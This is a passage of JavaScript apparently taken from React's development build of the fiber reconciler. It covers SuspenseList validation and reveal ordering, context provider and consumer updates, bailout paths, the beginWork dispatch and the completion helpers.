        scheduleSuspenseWorkOnFiber(node, renderLanes, workInProgress);
      } else if (node.child !== null) {
        node.child.return = node;
        node = node.child;
        continue;
      }

      if (node === workInProgress) {
        return;
      }

      while (node.sibling === null) {
        if (node.return === null || node.return === workInProgress) {
          return;
        }

        node = node.return;
      }

      node.sibling.return = node.return;
      node = node.sibling;
    }
  }

  function findLastContentRow(firstChild) {
    // This is going to find the last row among these children that is already
    // showing content on the screen, as opposed to being in fallback state or
    // new. If a row has multiple Suspense boundaries, any of them being in the
    // fallback state, counts as the whole row being in a fallback state.
    // Note that the "rows" will be workInProgress, but any nested children
    // will still be current since we haven't rendered them yet. The mounted
    // order may not be the same as the new order. We use the new order.
    var row = firstChild;
    var lastContentRow = null;

    while (row !== null) {
      var currentRow = row.alternate; // New rows can't be content rows.

      if (currentRow !== null && findFirstSuspended(currentRow) === null) {
        lastContentRow = row;
      }

      row = row.sibling;
    }

    return lastContentRow;
  }

  function validateRevealOrder(revealOrder) {
    {
      if (revealOrder !== undefined && revealOrder !== 'forwards' && revealOrder !== 'backwards' && revealOrder !== 'together' && !didWarnAboutRevealOrder[revealOrder]) {
        didWarnAboutRevealOrder[revealOrder] = true;

        if (typeof revealOrder === 'string') {
          switch (revealOrder.toLowerCase()) {
            case 'together':
            case 'forwards':
            case 'backwards':
              {
                error('"%s" is not a valid value for revealOrder on <SuspenseList />. ' + 'Use lowercase "%s" instead.', revealOrder, revealOrder.toLowerCase());

                break;
              }

            case 'forward':
            case 'backward':
              {
                error('"%s" is not a valid value for revealOrder on <SuspenseList />. ' + 'React uses the -s suffix in the spelling. Use "%ss" instead.', revealOrder, revealOrder.toLowerCase());

                break;
              }

            default:
              error('"%s" is not a supported revealOrder on <SuspenseList />. ' + 'Did you mean "together", "forwards" or "backwards"?', revealOrder);

              break;
          }
        } else {
          error('%s is not a supported value for revealOrder on <SuspenseList />. ' + 'Did you mean "together", "forwards" or "backwards"?', revealOrder);
        }
      }
    }
  }

  function validateTailOptions(tailMode, revealOrder) {
    {
      if (tailMode !== undefined && !didWarnAboutTailOptions[tailMode]) {
        if (tailMode !== 'collapsed' && tailMode !== 'hidden') {
          didWarnAboutTailOptions[tailMode] = true;

          error('"%s" is not a supported value for tail on <SuspenseList />. ' + 'Did you mean "collapsed" or "hidden"?', tailMode);
        } else if (revealOrder !== 'forwards' && revealOrder !== 'backwards') {
          didWarnAboutTailOptions[tailMode] = true;

          error('<SuspenseList tail="%s" /> is only valid if revealOrder is ' + '"forwards" or "backwards". ' + 'Did you mean to specify revealOrder="forwards"?', tailMode);
        }
      }
    }
  }

  function validateSuspenseListNestedChild(childSlot, index) {
    {
      var isAnArray = isArray(childSlot);
      var isIterable = !isAnArray && typeof getIteratorFn(childSlot) === 'function';

      if (isAnArray || isIterable) {
        var type = isAnArray ? 'array' : 'iterable';

        error('A nested %s was passed to row #%s in <SuspenseList />. Wrap it in ' + 'an additional SuspenseList to configure its revealOrder: ' + '<SuspenseList revealOrder=...> ... ' + '<SuspenseList revealOrder=...>{%s}</SuspenseList> ... ' + '</SuspenseList>', type, index, type);

        return false;
      }
    }

    return true;
  }

  function validateSuspenseListChildren(children, revealOrder) {
    {
      if ((revealOrder === 'forwards' || revealOrder === 'backwards') && children !== undefined && children !== null && children !== false) {
        if (isArray(children)) {
          for (var i = 0; i < children.length; i++) {
            if (!validateSuspenseListNestedChild(children[i], i)) {
              return;
            }
          }
        } else {
          var iteratorFn = getIteratorFn(children);

          if (typeof iteratorFn === 'function') {
            var childrenIterator = iteratorFn.call(children);

            if (childrenIterator) {
              var step = childrenIterator.next();
              var _i = 0;

              for (; !step.done; step = childrenIterator.next()) {
                if (!validateSuspenseListNestedChild(step.value, _i)) {
                  return;
                }

                _i++;
              }
            }
          } else {
            error('A single row was passed to a <SuspenseList revealOrder="%s" />. ' + 'This is not useful since it needs multiple rows. ' + 'Did you mean to pass multiple children or an array?', revealOrder);
          }
        }
      }
    }
  }

  function initSuspenseListRenderState(workInProgress, isBackwards, tail, lastContentRow, tailMode) {
    var renderState = workInProgress.memoizedState;

    if (renderState === null) {
      workInProgress.memoizedState = {
        isBackwards: isBackwards,
        rendering: null,
        renderingStartTime: 0,
        last: lastContentRow,
        tail: tail,
        tailMode: tailMode
      };
    } else {
      // We can reuse the existing object from previous renders.
      renderState.isBackwards = isBackwards;
      renderState.rendering = null;
      renderState.renderingStartTime = 0;
      renderState.last = lastContentRow;
      renderState.tail = tail;
      renderState.tailMode = tailMode;
    }
  } // This can end up rendering this component multiple passes.
  // The first pass splits the children fibers into two sets. A head and tail.
  // We first render the head. If anything is in fallback state, we do another
  // pass through beginWork to rerender all children (including the tail) with
  // the force suspend context. If the first render didn't have anything in
  // in fallback state. Then we render each row in the tail one-by-one.
  // That happens in the completeWork phase without going back to beginWork.


  function updateSuspenseListComponent(current, workInProgress, renderLanes) {
    var nextProps = workInProgress.pendingProps;
    var revealOrder = nextProps.revealOrder;
    var tailMode = nextProps.tail;
    var newChildren = nextProps.children;
    validateRevealOrder(revealOrder);
    validateTailOptions(tailMode, revealOrder);
    validateSuspenseListChildren(newChildren, revealOrder);
    reconcileChildren(current, workInProgress, newChildren, renderLanes);
    var suspenseContext = suspenseStackCursor.current;
    var shouldForceFallback = hasSuspenseContext(suspenseContext, ForceSuspenseFallback);

    if (shouldForceFallback) {
      suspenseContext = setShallowSuspenseContext(suspenseContext, ForceSuspenseFallback);
      workInProgress.flags |= DidCapture;
    } else {
      var didSuspendBefore = current !== null && (current.flags & DidCapture) !== NoFlags;

      if (didSuspendBefore) {
        // If we previously forced a fallback, we need to schedule work
        // on any nested boundaries to let them know to try to render
        // again. This is the same as context updating.
        propagateSuspenseContextChange(workInProgress, workInProgress.child, renderLanes);
      }

      suspenseContext = setDefaultShallowSuspenseContext(suspenseContext);
    }

    pushSuspenseContext(workInProgress, suspenseContext);

    if ((workInProgress.mode & ConcurrentMode) === NoMode) {
      // In legacy mode, SuspenseList doesn't work so we just
      // use make it a noop by treating it as the default revealOrder.
      workInProgress.memoizedState = null;
    } else {
      switch (revealOrder) {
        case 'forwards':
          {
            var lastContentRow = findLastContentRow(workInProgress.child);
            var tail;

            if (lastContentRow === null) {
              // The whole list is part of the tail.
              // TODO: We could fast path by just rendering the tail now.
              tail = workInProgress.child;
              workInProgress.child = null;
            } else {
              // Disconnect the tail rows after the content row.
              // We're going to render them separately later.
              tail = lastContentRow.sibling;
              lastContentRow.sibling = null;
            }

            initSuspenseListRenderState(workInProgress, false, // isBackwards
            tail, lastContentRow, tailMode);
            break;
          }

        case 'backwards':
          {
            // We're going to find the first row that has existing content.
            // At the same time we're going to reverse the list of everything
            // we pass in the meantime. That's going to be our tail in reverse
            // order.
            var _tail = null;
            var row = workInProgress.child;
            workInProgress.child = null;

            while (row !== null) {
              var currentRow = row.alternate; // New rows can't be content rows.

              if (currentRow !== null && findFirstSuspended(currentRow) === null) {
                // This is the beginning of the main content.
                workInProgress.child = row;
                break;
              }

              var nextRow = row.sibling;
              row.sibling = _tail;
              _tail = row;
              row = nextRow;
            } // TODO: If workInProgress.child is null, we can continue on the tail immediately.


            initSuspenseListRenderState(workInProgress, true, // isBackwards
            _tail, null, // last
            tailMode);
            break;
          }

        case 'together':
          {
            initSuspenseListRenderState(workInProgress, false, // isBackwards
            null, // tail
            null, // last
            undefined);
            break;
          }

        default:
          {
            // The default reveal order is the same as not having
            // a boundary.
            workInProgress.memoizedState = null;
          }
      }
    }

    return workInProgress.child;
  }

  function updatePortalComponent(current, workInProgress, renderLanes) {
    pushHostContainer(workInProgress, workInProgress.stateNode.containerInfo);
    var nextChildren = workInProgress.pendingProps;

    if (current === null) {
      // Portals are special because we don't append the children during mount
      // but at commit. Therefore we need to track insertions which the normal
      // flow doesn't do during mount. This doesn't happen at the root because
      // the root always starts with a "current" with a null child.
      // TODO: Consider unifying this with how the root works.
      workInProgress.child = reconcileChildFibers(workInProgress, null, nextChildren, renderLanes);
    } else {
      reconcileChildren(current, workInProgress, nextChildren, renderLanes);
    }

    return workInProgress.child;
  }

  var hasWarnedAboutUsingNoValuePropOnContextProvider = false;

  function updateContextProvider(current, workInProgress, renderLanes) {
    var providerType = workInProgress.type;
    var context = providerType._context;
    var newProps = workInProgress.pendingProps;
    var oldProps = workInProgress.memoizedProps;
    var newValue = newProps.value;

    {
      if (!('value' in newProps)) {
        if (!hasWarnedAboutUsingNoValuePropOnContextProvider) {
          hasWarnedAboutUsingNoValuePropOnContextProvider = true;

          error('The `value` prop is required for the `<Context.Provider>`. Did you misspell it or forget to pass it?');
        }
      }

      var providerPropTypes = workInProgress.type.propTypes;

      if (providerPropTypes) {
        checkPropTypes(providerPropTypes, newProps, 'prop', 'Context.Provider');
      }
    }

    pushProvider(workInProgress, context, newValue);

    {
      if (oldProps !== null) {
        var oldValue = oldProps.value;

        if (objectIs(oldValue, newValue)) {
          // No change. Bailout early if children are the same.
          if (oldProps.children === newProps.children && !hasContextChanged()) {
            return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
          }
        } else {
          // The context value changed. Search for matching consumers and schedule
          // them to update.
          propagateContextChange(workInProgress, context, renderLanes);
        }
      }
    }

    var newChildren = newProps.children;
    reconcileChildren(current, workInProgress, newChildren, renderLanes);
    return workInProgress.child;
  }

  var hasWarnedAboutUsingContextAsConsumer = false;

  function updateContextConsumer(current, workInProgress, renderLanes) {
    var context = workInProgress.type; // The logic below for Context differs depending on PROD or DEV mode. In
    // DEV mode, we create a separate object for Context.Consumer that acts
    // like a proxy to Context. This proxy object adds unnecessary code in PROD
    // so we use the old behaviour (Context.Consumer references Context) to
    // reduce size and overhead. The separate object references context via
    // a property called "_context", which also gives us the ability to check
    // in DEV mode if this property exists or not and warn if it does not.

    {
      if (context._context === undefined) {
        // This may be because it's a Context (rather than a Consumer).
        // Or it may be because it's older React where they're the same thing.
        // We only want to warn if we're sure it's a new React.
        if (context !== context.Consumer) {
          if (!hasWarnedAboutUsingContextAsConsumer) {
            hasWarnedAboutUsingContextAsConsumer = true;

            error('Rendering <Context> directly is not supported and will be removed in ' + 'a future major release. Did you mean to render <Context.Consumer> instead?');
          }
        }
      } else {
        context = context._context;
      }
    }

    var newProps = workInProgress.pendingProps;
    var render = newProps.children;

    {
      if (typeof render !== 'function') {
        error('A context consumer was rendered with multiple children, or a child ' + "that isn't a function. A context consumer expects a single child " + 'that is a function. If you did pass a function, make sure there ' + 'is no trailing or leading whitespace around it.');
      }
    }

    prepareToReadContext(workInProgress, renderLanes);
    var newValue = readContext(context);

    {
      markComponentRenderStarted(workInProgress);
    }

    var newChildren;

    {
      ReactCurrentOwner$1.current = workInProgress;
      setIsRendering(true);
      newChildren = render(newValue);
      setIsRendering(false);
    }

    {
      markComponentRenderStopped();
    } // React DevTools reads this flag.


    workInProgress.flags |= PerformedWork;
    reconcileChildren(current, workInProgress, newChildren, renderLanes);
    return workInProgress.child;
  }

  function markWorkInProgressReceivedUpdate() {
    didReceiveUpdate = true;
  }

  function resetSuspendedCurrentOnMountInLegacyMode(current, workInProgress) {
    if ((workInProgress.mode & ConcurrentMode) === NoMode) {
      if (current !== null) {
        // A lazy component only mounts if it suspended inside a non-
        // concurrent tree, in an inconsistent state. We want to treat it like
        // a new mount, even though an empty version of it already committed.
        // Disconnect the alternate pointers.
        current.alternate = null;
        workInProgress.alternate = null; // Since this is conceptually a new fiber, schedule a Placement effect

        workInProgress.flags |= Placement;
      }
    }
  }

  function bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes) {
    if (current !== null) {
      // Reuse previous dependencies
      workInProgress.dependencies = current.dependencies;
    }

    {
      // Don't update "base" render times for bailouts.
      stopProfilerTimerIfRunning();
    }

    markSkippedUpdateLanes(workInProgress.lanes); // Check if the children have any pending work.

    if (!includesSomeLane(renderLanes, workInProgress.childLanes)) {
      // The children don't have any work either. We can skip them.
      // TODO: Once we add back resuming, we should check if the children are
      // a work-in-progress set. If so, we need to transfer their effects.
      {
        return null;
      }
    } // This fiber doesn't have work, but its subtree does. Clone the child
    // fibers and continue.


    cloneChildFibers(current, workInProgress);
    return workInProgress.child;
  }

  function remountFiber(current, oldWorkInProgress, newWorkInProgress) {
    {
      var returnFiber = oldWorkInProgress.return;

      if (returnFiber === null) {
        // eslint-disable-next-line react-internal/prod-error-codes
        throw new Error('Cannot swap the root fiber.');
      } // Disconnect from the old current.
      // It will get deleted.


      current.alternate = null;
      oldWorkInProgress.alternate = null; // Connect to the new tree.

      newWorkInProgress.index = oldWorkInProgress.index;
      newWorkInProgress.sibling = oldWorkInProgress.sibling;
      newWorkInProgress.return = oldWorkInProgress.return;
      newWorkInProgress.ref = oldWorkInProgress.ref; // Replace the child/sibling pointers above it.

      if (oldWorkInProgress === returnFiber.child) {
        returnFiber.child = newWorkInProgress;
      } else {
        var prevSibling = returnFiber.child;

        if (prevSibling === null) {
          // eslint-disable-next-line react-internal/prod-error-codes
          throw new Error('Expected parent to have a child.');
        }

        while (prevSibling.sibling !== oldWorkInProgress) {
          prevSibling = prevSibling.sibling;

          if (prevSibling === null) {
            // eslint-disable-next-line react-internal/prod-error-codes
            throw new Error('Expected to find the previous sibling.');
          }
        }

        prevSibling.sibling = newWorkInProgress;
      } // Delete the old fiber and place the new one.
      // Since the old fiber is disconnected, we have to schedule it manually.


      var deletions = returnFiber.deletions;

      if (deletions === null) {
        returnFiber.deletions = [current];
        returnFiber.flags |= ChildDeletion;
      } else {
        deletions.push(current);
      }

      newWorkInProgress.flags |= Placement; // Restart work from the new fiber.

      return newWorkInProgress;
    }
  }

  function checkScheduledUpdateOrContext(current, renderLanes) {
    // Before performing an early bailout, we must check if there are pending
    // updates or context.
    var updateLanes = current.lanes;

    if (includesSomeLane(updateLanes, renderLanes)) {
      return true;
    } // No pending update, but because context is propagated lazily, we need

    return false;
  }

  function attemptEarlyBailoutIfNoScheduledUpdate(current, workInProgress, renderLanes) {
    // This fiber does not have any pending work. Bailout without entering
    // the begin phase. There's still some bookkeeping we that needs to be done
    // in this optimized path, mostly pushing stuff onto the stack.
    switch (workInProgress.tag) {
      case HostRoot:
        pushHostRootContext(workInProgress);
        var root = workInProgress.stateNode;

        resetHydrationState();
        break;

      case HostComponent:
        pushHostContext(workInProgress);
        break;

      case ClassComponent:
        {
          var Component = workInProgress.type;

          if (isContextProvider(Component)) {
            pushContextProvider(workInProgress);
          }

          break;
        }

      case HostPortal:
        pushHostContainer(workInProgress, workInProgress.stateNode.containerInfo);
        break;

      case ContextProvider:
        {
          var newValue = workInProgress.memoizedProps.value;
          var context = workInProgress.type._context;
          pushProvider(workInProgress, context, newValue);
          break;
        }

      case Profiler:
        {
          // Profiler should only call onRender when one of its descendants actually rendered.
          var hasChildWork = includesSomeLane(renderLanes, workInProgress.childLanes);

          if (hasChildWork) {
            workInProgress.flags |= Update;
          }

          {
            // Reset effect durations for the next eventual effect phase.
            // These are reset during render to allow the DevTools commit hook a chance to read them,
            var stateNode = workInProgress.stateNode;
            stateNode.effectDuration = 0;
            stateNode.passiveEffectDuration = 0;
          }
        }

        break;

      case SuspenseComponent:
        {
          var state = workInProgress.memoizedState;

          if (state !== null) {
            if (state.dehydrated !== null) {
              pushSuspenseContext(workInProgress, setDefaultShallowSuspenseContext(suspenseStackCursor.current)); // We know that this component will suspend again because if it has
              // been unsuspended it has committed as a resolved Suspense component.
              // If it needs to be retried, it should have work scheduled on it.

              workInProgress.flags |= DidCapture; // We should never render the children of a dehydrated boundary until we
              // upgrade it. We return null instead of bailoutOnAlreadyFinishedWork.

              return null;
            } // If this boundary is currently timed out, we need to decide
            // whether to retry the primary children, or to skip over it and
            // go straight to the fallback. Check the priority of the primary
            // child fragment.


            var primaryChildFragment = workInProgress.child;
            var primaryChildLanes = primaryChildFragment.childLanes;

            if (includesSomeLane(renderLanes, primaryChildLanes)) {
              // The primary children have pending work. Use the normal path
              // to attempt to render the primary children again.
              return updateSuspenseComponent(current, workInProgress, renderLanes);
            } else {
              // The primary child fragment does not have pending work marked
              // on it
              pushSuspenseContext(workInProgress, setDefaultShallowSuspenseContext(suspenseStackCursor.current)); // The primary children do not have pending work with sufficient
              // priority. Bailout.

              var child = bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);

              if (child !== null) {
                // The fallback children have pending work. Skip over the
                // primary children and work on the fallback.
                return child.sibling;
              } else {
                // Note: We can return `null` here because we already checked
                // whether there were nested context consumers, via the call to
                // `bailoutOnAlreadyFinishedWork` above.
                return null;
              }
            }
          } else {
            pushSuspenseContext(workInProgress, setDefaultShallowSuspenseContext(suspenseStackCursor.current));
          }

          break;
        }

      case SuspenseListComponent:
        {
          var didSuspendBefore = (current.flags & DidCapture) !== NoFlags;

          var _hasChildWork = includesSomeLane(renderLanes, workInProgress.childLanes);

          if (didSuspendBefore) {
            if (_hasChildWork) {
              // If something was in fallback state last time, and we have all the
              // same children then we're still in progressive loading state.
              // Something might get unblocked by state updates or retries in the
              // tree which will affect the tail. So we need to use the normal
              // path to compute the correct tail.
              return updateSuspenseListComponent(current, workInProgress, renderLanes);
            } // If none of the children had any work, that means that none of
            // them got retried so they'll still be blocked in the same way
            // as before. We can fast bail out.


            workInProgress.flags |= DidCapture;
          } // If nothing suspended before and we're rendering the same children,
          // then the tail doesn't matter. Anything new that suspends will work
          // in the "together" mode, so we can continue from the state we had.


          var renderState = workInProgress.memoizedState;

          if (renderState !== null) {
            // Reset to the "together" mode in case we've started a different
            // update in the past but didn't complete it.
            renderState.rendering = null;
            renderState.tail = null;
            renderState.lastEffect = null;
          }

          pushSuspenseContext(workInProgress, suspenseStackCursor.current);

          if (_hasChildWork) {
            break;
          } else {
            // If none of the children had any work, that means that none of
            // them got retried so they'll still be blocked in the same way
            // as before. We can fast bail out.
            return null;
          }
        }

      case OffscreenComponent:
      case LegacyHiddenComponent:
        {
          // Need to check if the tree still needs to be deferred. This is
          // almost identical to the logic used in the normal update path,
          // so we'll just enter that. The only difference is we'll bail out
          // at the next level instead of this one, because the child props
          // have not changed. Which is fine.
          // TODO: Probably should refactor `beginWork` to split the bailout
          // path from the normal path. I'm tempted to do a labeled break here
          // but I won't :)
          workInProgress.lanes = NoLanes;
          return updateOffscreenComponent(current, workInProgress, renderLanes);
        }
    }

    return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
  }

  function beginWork(current, workInProgress, renderLanes) {
    {
      if (workInProgress._debugNeedsRemount && current !== null) {
        // This will restart the begin phase with a new fiber.
        return remountFiber(current, workInProgress, createFiberFromTypeAndProps(workInProgress.type, workInProgress.key, workInProgress.pendingProps, workInProgress._debugOwner || null, workInProgress.mode, workInProgress.lanes));
      }
    }

    if (current !== null) {
      var oldProps = current.memoizedProps;
      var newProps = workInProgress.pendingProps;

      if (oldProps !== newProps || hasContextChanged() || ( // Force a re-render if the implementation changed due to hot reload:
       workInProgress.type !== current.type )) {
        // If props or context changed, mark the fiber as having performed work.
        // This may be unset if the props are determined to be equal later (memo).
        didReceiveUpdate = true;
      } else {
        // Neither props nor legacy context changes. Check if there's a pending
        // update or context change.
        var hasScheduledUpdateOrContext = checkScheduledUpdateOrContext(current, renderLanes);

        if (!hasScheduledUpdateOrContext && // If this is the second pass of an error or suspense boundary, there
        // may not be work scheduled on `current`, so we check for this flag.
        (workInProgress.flags & DidCapture) === NoFlags) {
          // No pending updates or context. Bail out now.
          didReceiveUpdate = false;
          return attemptEarlyBailoutIfNoScheduledUpdate(current, workInProgress, renderLanes);
        }

        if ((current.flags & ForceUpdateForLegacySuspense) !== NoFlags) {
          // This is a special case that only exists for legacy mode.
          // See https://github.com/facebook/react/pull/19216.
          didReceiveUpdate = true;
        } else {
          // An update was scheduled on this fiber, but there are no new props
          // nor legacy context. Set this to false. If an update queue or context
          // consumer produces a changed value, it will set this to true. Otherwise,
          // the component will assume the children have not changed and bail out.
          didReceiveUpdate = false;
        }
      }
    } else {
      didReceiveUpdate = false;

      if (getIsHydrating() && isForkedChild(workInProgress)) {
        // Check if this child belongs to a list of muliple children in
        // its parent.
        //
        // In a true multi-threaded implementation, we would render children on
        // parallel threads. This would represent the beginning of a new render
        // thread for this subtree.
        //
        // We only use this for id generation during hydration, which is why the
        // logic is located in this special branch.
        var slotIndex = workInProgress.index;
        var numberOfForks = getForksAtLevel();
        pushTreeId(workInProgress, numberOfForks, slotIndex);
      }
    } // Before entering the begin phase, clear pending update priority.
    // TODO: This assumes that we're about to evaluate the component and process
    // the update queue. However, there's an exception: SimpleMemoComponent
    // sometimes bails out later in the begin phase. This indicates that we should
    // move this assignment out of the common path and into each branch.


    workInProgress.lanes = NoLanes;

    switch (workInProgress.tag) {
      case IndeterminateComponent:
        {
          return mountIndeterminateComponent(current, workInProgress, workInProgress.type, renderLanes);
        }

      case LazyComponent:
        {
          var elementType = workInProgress.elementType;
          return mountLazyComponent(current, workInProgress, elementType, renderLanes);
        }

      case FunctionComponent:
        {
          var Component = workInProgress.type;
          var unresolvedProps = workInProgress.pendingProps;
          var resolvedProps = workInProgress.elementType === Component ? unresolvedProps : resolveDefaultProps(Component, unresolvedProps);
          return updateFunctionComponent(current, workInProgress, Component, resolvedProps, renderLanes);
        }

      case ClassComponent:
        {
          var _Component = workInProgress.type;
          var _unresolvedProps = workInProgress.pendingProps;

          var _resolvedProps = workInProgress.elementType === _Component ? _unresolvedProps : resolveDefaultProps(_Component, _unresolvedProps);

          return updateClassComponent(current, workInProgress, _Component, _resolvedProps, renderLanes);
        }

      case HostRoot:
        return updateHostRoot(current, workInProgress, renderLanes);

      case HostComponent:
        return updateHostComponent(current, workInProgress, renderLanes);

      case HostText:
        return updateHostText(current, workInProgress);

      case SuspenseComponent:
        return updateSuspenseComponent(current, workInProgress, renderLanes);

      case HostPortal:
        return updatePortalComponent(current, workInProgress, renderLanes);

      case ForwardRef:
        {
          var type = workInProgress.type;
          var _unresolvedProps2 = workInProgress.pendingProps;

          var _resolvedProps2 = workInProgress.elementType === type ? _unresolvedProps2 : resolveDefaultProps(type, _unresolvedProps2);

          return updateForwardRef(current, workInProgress, type, _resolvedProps2, renderLanes);
        }

      case Fragment:
        return updateFragment(current, workInProgress, renderLanes);

      case Mode:
        return updateMode(current, workInProgress, renderLanes);

      case Profiler:
        return updateProfiler(current, workInProgress, renderLanes);

      case ContextProvider:
        return updateContextProvider(current, workInProgress, renderLanes);

      case ContextConsumer:
        return updateContextConsumer(current, workInProgress, renderLanes);

      case MemoComponent:
        {
          var _type2 = workInProgress.type;
          var _unresolvedProps3 = workInProgress.pendingProps; // Resolve outer props first, then resolve inner props.

          var _resolvedProps3 = resolveDefaultProps(_type2, _unresolvedProps3);

          {
            if (workInProgress.type !== workInProgress.elementType) {
              var outerPropTypes = _type2.propTypes;

              if (outerPropTypes) {
                checkPropTypes(outerPropTypes, _resolvedProps3, // Resolved for outer only
                'prop', getComponentNameFromType(_type2));
              }
            }
          }

          _resolvedProps3 = resolveDefaultProps(_type2.type, _resolvedProps3);
          return updateMemoComponent(current, workInProgress, _type2, _resolvedProps3, renderLanes);
        }

      case SimpleMemoComponent:
        {
          return updateSimpleMemoComponent(current, workInProgress, workInProgress.type, workInProgress.pendingProps, renderLanes);
        }

      case IncompleteClassComponent:
        {
          var _Component2 = workInProgress.type;
          var _unresolvedProps4 = workInProgress.pendingProps;

          var _resolvedProps4 = workInProgress.elementType === _Component2 ? _unresolvedProps4 : resolveDefaultProps(_Component2, _unresolvedProps4);

          return mountIncompleteClassComponent(current, workInProgress, _Component2, _resolvedProps4, renderLanes);
        }

      case SuspenseListComponent:
        {
          return updateSuspenseListComponent(current, workInProgress, renderLanes);
        }

      case ScopeComponent:
        {

          break;
        }

      case OffscreenComponent:
        {
          return updateOffscreenComponent(current, workInProgress, renderLanes);
        }
    }

    throw new Error("Unknown unit of work tag (" + workInProgress.tag + "). This error is likely caused by a bug in " + 'React. Please file an issue.');
  }

  function markUpdate(workInProgress) {
    // Tag the fiber with an update effect. This turns a Placement into
    // a PlacementAndUpdate.
    workInProgress.flags |= Update;
  }

  function markRef$1(workInProgress) {
    workInProgress.flags |= Ref;

    {
      workInProgress.flags |= RefStatic;
    }
  }

  var appendAllChildren;
  var updateHostContainer;
  var updateHostComponent$1;
  var updateHostText$1;

  {
    // Mutation mode
    appendAllChildren = function (parent, workInProgress, needsVisibilityToggle, isHidden) {
      // We only have the top Fiber that was created but we need recurse down its
      // children to find all the terminal nodes.
      var node = workInProgress.child;

      while (node !== null) {
        if (node.tag === HostComponent || node.tag === HostText) {
          appendInitialChild(parent, node.stateNode);
        } else if (node.tag === HostPortal) ; else if (node.child !== null) {
          node.child.return = node;
          node = node.child;
          continue;
        }

        if (node === workInProgress) {
          return;
        }

        while (node.sibling === null) {
          if (node.return === null || node.return === workInProgress) {
            return;
          }

          node = node.return;
        }

        node.sibling.return = node.return;
        node = node.sibling;
      }
    };

    updateHostContainer = function (current, workInProgress) {// Noop
    };

    updateHostComponent$1 = function (current, workInProgress, type, newProps, rootContainerInstance) {
      // If we have an alternate, that means this is an update and we need to
      // schedule a side-effect to do the updates.
      var oldProps = current.memoizedProps;

      if (oldProps === newProps) {
        // In mutation mode, this is sufficient for a bailout because
        // we won't touch this node even if children changed.
        return;
      } // If we get updated because one of our children updated, we don't
      // have newProps so we'll have to reuse them.
      // TODO: Split the update API as separate for the props vs. children.
      // Even better would be if children weren't special cased at all tho.


      var instance = workInProgress.stateNode;
      var currentHostContext = getHostContext(); // TODO: Experiencing an error where oldProps is null. Suggests a host
      // component is hitting the resume path. Figure out why. Possibly
      // related to `hidden`.

      var updatePayload = prepareUpdate(instance, type, oldProps, newProps, rootContainerInstance, currentHostContext); // TODO: Type this specific to this type of component.

      workInProgress.updateQueue = updatePayload; // If the update payload indicates that there is a change or if there
      // is a new ref we mark this as an update. All the work is done in commitWork.

      if (updatePayload) {
        markUpdate(workInProgress);
      }
    };

    updateHostText$1 = function (current, workInProgress, oldText, newText) {
      // If the text differs, mark it as an update. All the work in done in commitWork.
      if (oldText !== newText) {
        markUpdate(workInProgress);
      }
    };
  }

  function cutOffTailIfNeeded(renderState, hasRenderedATailFallback) {
    if (getIsHydrating()) {
      // If we're hydrating, we should consume as many items as we can
      // so we don't leave any behind.
      return;
    }

    switch (renderState.tailMode) {
      case 'hidden':
        {
          // Any insertions at the end of the tail list after this point
          // should be invisible. If there are already mounted boundaries
          // anything before them are not considered for collapsing.
          // Therefore we need to go through the whole tail to find if
          // there are any.
          var tailNode = renderState.tail;
          var lastTailNode = null;

          while (tailNode !== null) {
            if (tailNode.alternate !== null) {
              lastTailNode = tailNode;
            }

            tailNode = tailNode.sibling;
          } // Next we're simply going to delete all insertions after the
          // last rendered item.


          if (lastTailNode === null) {
            // All remaining items in the tail are insertions.
            renderState.tail = null;
          } else {
            // Detach the insertion after the last node that was already
            // inserted.
            lastTailNode.sibling = null;
          }

          break;
        }

      case 'collapsed':
        {
          // Any insertions at the end of the tail list after this point
          // should be invisible. If there are already mounted boundaries
          // anything before them are not considered for collapsing.
          // Therefore we need to go through the whole tail to find if
          // there are any.
          var _tailNode = renderState.tail;
          var _lastTailNode = null;

          while (_tailNode !== null) {
            if (_tailNode.alternate !== null) {
              _lastTailNode = _tailNode;
            }

            _tailNode = _tailNode.sibling;
          } // Next we're simply going to delete all insertions after the
          // last rendered item.


          if (_lastTailNode === null) {
            // All remaining items in the tail are insertions.
            if (!hasRenderedATailFallback && renderState.tail !== null) {
              // We suspended during the head. We want to show at least one
              // row at the tail. So we'll keep on and cut off the rest.
              renderState.tail.sibling = null;
            } else {
              renderState.tail = null;
            }
          } else {
            // Detach the insertion after the last node that was already
            // inserted.
            _lastTailNode.sibling = null;
          }

          break;
        }
    }
  }

  function bubbleProperties(completedWork) {
    var didBailout = completedWork.alternate !== null && completedWork.alternate.child === completedWork.child;
    var newChildLanes = NoLanes;
    var subtreeFlags = NoFlags;

    if (!didBailout) {
      // Bubble up the earliest expiration time.
      if ( (completedWork.mode & ProfileMode) !== NoMode) {
        // In profiling mode, resetChildExpirationTime is also used to reset
        // profiler durations.
        var actualDuration = completedWork.actualDuration;
        var treeBaseDuration = completedWork.selfBaseDuration;
        var child = completedWork.child;

        while (child !== null) {
          newChildLanes = mergeLanes(newChildLanes, mergeLanes(child.lanes, child.childLanes));
          subtreeFlags |= child.subtreeFlags;
          subtreeFlags |= child.flags; // When a fiber is cloned, its actualDuration is reset to 0. This value will
          // only be updated if work is done on the fiber (i.e. it doesn't bailout).
          // When work is done, it should bubble to the parent's actualDuration. If
          // the fiber has not been cloned though, (meaning no work was done), then
          // this value will reflect the amount of time spent working on a previous
          // render. In that case it should not bubble. We determine whether it was
          // cloned by comparing the child pointer.

          actualDuration += child.actualDuration;
          treeBaseDuration += child.treeBaseDuration;
          child = child.sibling;
        }

        completedWork.actualDuration = actualDuration;
        completedWork.treeBaseDuration = treeBaseDuration;
      } else {
        var _child = completedWork.child;

        while (_child !== null) {
          newChildLanes = mergeLanes(newChildLanes, mergeLanes(_child.lanes, _child.childLanes));
          subtreeFlags |= _child.subtreeFlags;
          subtreeFlags |= _child.flags; // Update the return pointer so the tree is consistent. This is a code
          // smell because it assumes the commit phase is never concurrent with
          // the render phase. Will address during refactor to alternate model.

          _child.return = completedWork;
          _child = _child.sibling;
        }
      }

      completedWork.subtreeFlags |= subtreeFlags;
    } else {
      // Bubble up the earliest expiration time.
      if ( (completedWork.mode & ProfileMode) !== NoMode) {
        // In profiling mode, resetChildExpirationTime is also used to reset
        // profiler durations.
        var _treeBaseDuration = completedWork.selfBaseDuration;
        var _child2 = completedWork.child;

        while (_child2 !== null) {
          newChildLanes = mergeLanes(newChildLanes, mergeLanes(_child2.lanes, _child2.childLanes)); // "Static" flags share the lifetime of the fiber/hook they belong to,
